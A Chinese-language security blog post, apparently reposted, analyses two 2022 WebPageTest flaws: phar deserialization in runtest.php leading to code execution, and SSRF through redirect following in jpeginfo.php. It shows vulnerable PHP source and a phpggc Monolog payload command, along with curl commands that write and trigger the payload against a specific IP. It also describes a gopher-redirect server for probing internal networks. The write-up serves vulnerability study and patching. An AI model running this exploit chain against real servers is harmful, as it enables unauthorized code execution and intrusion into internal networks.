webpagetest反序列化及ssrf漏洞分析

WebPageTest

WebPageTest是一款非常专业的 Web 页面性能分析工具,它可以对检测分析的环境配置进行高度自定义化。2022年9月23日互联网上公开WebPageTest的多个漏洞。攻击者可利用runtest.php,构造恶意请求触发phar反序列化,执行任意代码控制服务器。同时可以借助jeeginfo.php触发ssrf漏洞,从而扫描内网获取敏感信息。本次要分析的两个漏洞源于阿里云漏洞库,编号分别为AVD-2022-1474319和AVD-2022-1474320。

AVD-2022-1474319

这是一个触发phar反序列化从而导致恶意代码执行的漏洞。

github的修复提交:https://github.com/WPO-Foundation/webpagetest/commit/6c8e1e675af09fe49fb0580354534feb6b105c95

根据修复可以大概猜到,该漏洞是由于rkey参数过滤不严导致的。下面是对该漏洞的一个具体分析。

漏洞发生在www/runtest.php中的RelayTest函数中。

function RelayTest()
{
    global $error;
    global $locations;
    $error = null;
    $ret = array();
    $ret['statusCode'] = 200;

    $rkey = $_POST['rkey'];
    $test = json_decode($_POST['testinfo'], true);
    $test['vd'] = '';
    $test['vh'] = '';
    $job = trim($_POST['job']);
    $ini = trim($_POST['ini']);
    $location = trim($_POST['location']);
    $test['workdir'] = $locations[$location]['localDir'];

    ValidateKey($test, $error, $rkey);
    if( !isset($error) )
    {
        $id = $rkey . '.' . $test['id'];
        $ret['id'] = $id;
        $test['job'] = $rkey . '.' . $test['job'];
        $testPath = './' . GetTestPath($id);
        @mkdir($testPath, 0777, true);
        $job = str_replace($test['id'], $id, $job);
        file_put_contents("$testPath/testinfo.ini", $ini);
        WriteJob($location, $test, $job, $id);
        SaveTestInfo($id, $test);
    }

    if( isset($error) )
    {
        $ret['statusCode'] = 400;
        $ret['statusText'] = "Relay: $error";
    }

    header ("Content-type: application/json");
    echo json_encode($ret);
}

该函数中rkey参数可以被用来写入ini文件,ini文件的内容也是可控且没有过滤的。因此可以考虑写入一个phar文件,进而想办法触发phar反序列化。触发phar反序列化并RCE需要以下条件:

  • 可以写入phar文件,并且知道文件的位置
  • 具有可以触发phar协议的函数
  • 有适当的class可以被用来触发反序列化并导致代码执行

目前第1个条件是满足的,继续深入研究rkey的处理过程可以发现条件2也可以满足。

对rkey的处理过程如下:

if( !isset($error) )
{
  $id = $rkey . '.' . $test['id'];
  $ret['id'] = $id;
  $test['job'] = $rkey . '.' . $test['job'];
  $testPath = './' . GetTestPath($id);
  @mkdir($testPath, 0777, true);
  $job = str_replace($test['id'], $id, $job);
  file_put_contents("$testPath/testinfo.ini", $ini);
  WriteJob($location, $test, $job, $id);
  SaveTestInfo($id, $test);
}

该部分将rkey参数写入id参数,id参数交给savetestinfo函数处理。rkey相当于一个文件路径的前缀,文件路径的形式是xxx.xxx。

接下来跟进SaveTestInfo函数,在SaveTestInfo函数中,恰好有可以触发phar协议的函数,也就是is_dir。如果$testPath的值为phar://xxx/xxx/xxx的形式,就可以触发phar协议,读取到我们构造的特定的testinfo.ini,从而打到反序列化的目的。

function SaveTestInfo($testIdOrPath, &$testInfo) {
  if (isset($testInfo) && is_array($testInfo) &&
      isset($testIdOrPath) && strlen($testIdOrPath)) {
    $testPath = $testIdOrPath;
    if (strpos($testPath, '/') === false) {
      $id = $testPath;
      $testPath = '';
      if (ValidateTestId($id))
        $testPath = './' . GetTestPath($id);
    }
    if (is_dir($testPath)) {
      $testPath = realpath($testPath);
      $lock = Lock("Test Info $testPath");
      if ($lock) {
        gz_file_put_contents("$testPath/testinfo.json", json_encode($testInfo));
        Unlock($lock);
      }
    }
  }
}

顺便总结下能触发phar协议的函数

  • fimeatime / filectime / filemtime
  • stat / fileinode / fileowner / filegroup / fileperms
  • file / file_get_contents / readfile / fopen
  • file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable
  • parse_ini_file
  • unlink
  • copy

满足了前两个条件,现在只需要解决POP链这一个问题了。SaveTestInfo函数存在于commo_lib.inc文件中,inc文件需要spl_autoloaded_register来实现类的加载,因此可以找到spl_autoloaded_register函数所在的位置,看一看有哪些class会被加载。恰好在www/lib/aws/aws-autoloader.php中调用了spl_autoloaded_register,并且加载了monolog。monolog是一个PHP编写的日志应用,有很多的POP链可以用。可以借助phpggc来生成payload。

图片[1]-webpagetest反序列化及ssrf漏洞分析-NGC660安全实验室

至此,所有触发phar反序列化的条件都满足了,后面主要是注意一些细节。比如借助rkey参数生成的路径是xx.的形式,末尾有一个小数点,所以在触发的时候需要注意。

借助phpggc程序生成执行id命令的phar文件并发送:

./phpggc Monolog/RCE2 system 'id' -p phar -o testinfo.ini
#进行url编码
URLENC_PAYLOAD=$(cat /tmp/testinfo.ini | xxd -p | tr -d "\n" | sed "s#..#%&#g")
#写入文件
curl -sSkig 'http://43.152.206.162/runtest.php' -d 'rkey=gadget' -d "ini=$URLENC_PAYLOAD" -o -
#触发反序列化
curl -sSkig 'http://43.152.206.162/runtest.php' -d 'rkey=phar:///var/www/html/results/gadget./testinfo.ini/foo' -d "ini=$URLENC_PAYLOAD" -o -

下面是攻击的效果,可以看到成功执行了id命令。

图片[2]-webpagetest反序列化及ssrf漏洞分析-NGC660安全实验室

AVD-2022-1474320

这是一个SSRF漏洞,漏洞产生在www/jpeginfo/jpeginfo.php文件中。

该部分接受了一个url参数,通过将该参数的值进行sha1处理,并将得到的值每4个字符分为一组,可以得到一个文件存储的路径,具体处理过程见GetPath函数。

if (array_key_exists('url', $_REQUEST) &&
    strlen($_REQUEST['url'])) {
  $url = trim($_REQUEST['url']);
  echo "<!DOCTYPE html>\n<html>\n<head>\n</head>\n<body>\n";
  echo "JPEG Analysis for " . htmlspecialchars($url) . "<br><br>";
  $id = sha1($url);
  $path = GetPath($id);
  if (!is_file($path))
    GetUrl($url, $path);
  if (is_file($path))
    AnalyzeFile($path);
  echo "</body>\n</html>";
}

GetPath函数内容如下:

function GetPath($id) {
  if (!is_dir('./results/jpeginfo'))
    mkdir('./results/jpeginfo');
  $path = realpath('./results/jpeginfo') . '/' . implode('/', str_split(trim($id), 4));
  return $path;
}

得到路径之后,会执行GetUrl操作。该函数主要是判断用到的协议是不是http协议,如果url的开头不是http,则会自动加上http://,因此url必须是http://开头才有机会被利用。

function GetUrl($url, $path) {
  $ret = false;
  if (strlen($url)) {
    if (strcasecmp(substr($url, 0, 4), 'http'))
      $url = "http://$url";
    global $imageFile;
    $dir = dirname($path);

    if (!is_dir($dir))
      mkdir($dir, 0777, true);
    $imageFile = fopen($path, 'w');
    if ($imageFile !== false) {
      if (FetchUrl($url)) {
        fclose($imageFile);
        if (filesize($path))
          $ret = true;
      } else {
        fclose($imageFile);
        echo "Error fetching " . htmlspecialchars($url);
      }
      if (!$ret)
        unlink($path);
    } else
      echo "Error creating temp file";
  } else
    echo "Invalid URL";
  return $ret;
}

在处理完UR来的格式之后会创建对应的目录,并执行FetchUrl的操作。该函数主要是通过curl访问目标url得到相应的内容。

function FetchUrl($url) {
  $ret = false;
  if (function_exists('curl_init')) {
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)');
    curl_setopt($curl, CURLOPT_FILETIME, true);
    curl_setopt($curl, CURLOPT_FAILONERROR, true);
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
    curl_setopt($curl, CURLOPT_DNS_CACHE_TIMEOUT, 30);
    curl_setopt($curl, CURLOPT_MAXREDIRS, 10);
    curl_setopt($curl, CURLOPT_TIMEOUT, 30);
    curl_setopt($curl, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
    curl_setopt($curl, CURLOPT_WRITEFUNCTION, 'WriteCallback');
    if (curl_exec($curl) !== false)
      $ret = true;
    curl_close($curl);
  }
  return $ret;
}

值得注意的是,curl中设置了允许重定向:

curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);

如果我们设置一个恶意的服务器,该服务器某个url被访问之后会给出一个类似于下面的响应header:

Location: gopher://xxx:port

则可以借助gopher协议触发SSRF漏洞,探测内网信息。

本文作者:KevinBruce

帮我转载于先知社区,如有侵权请联系删除

© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    请登录后查看评论内容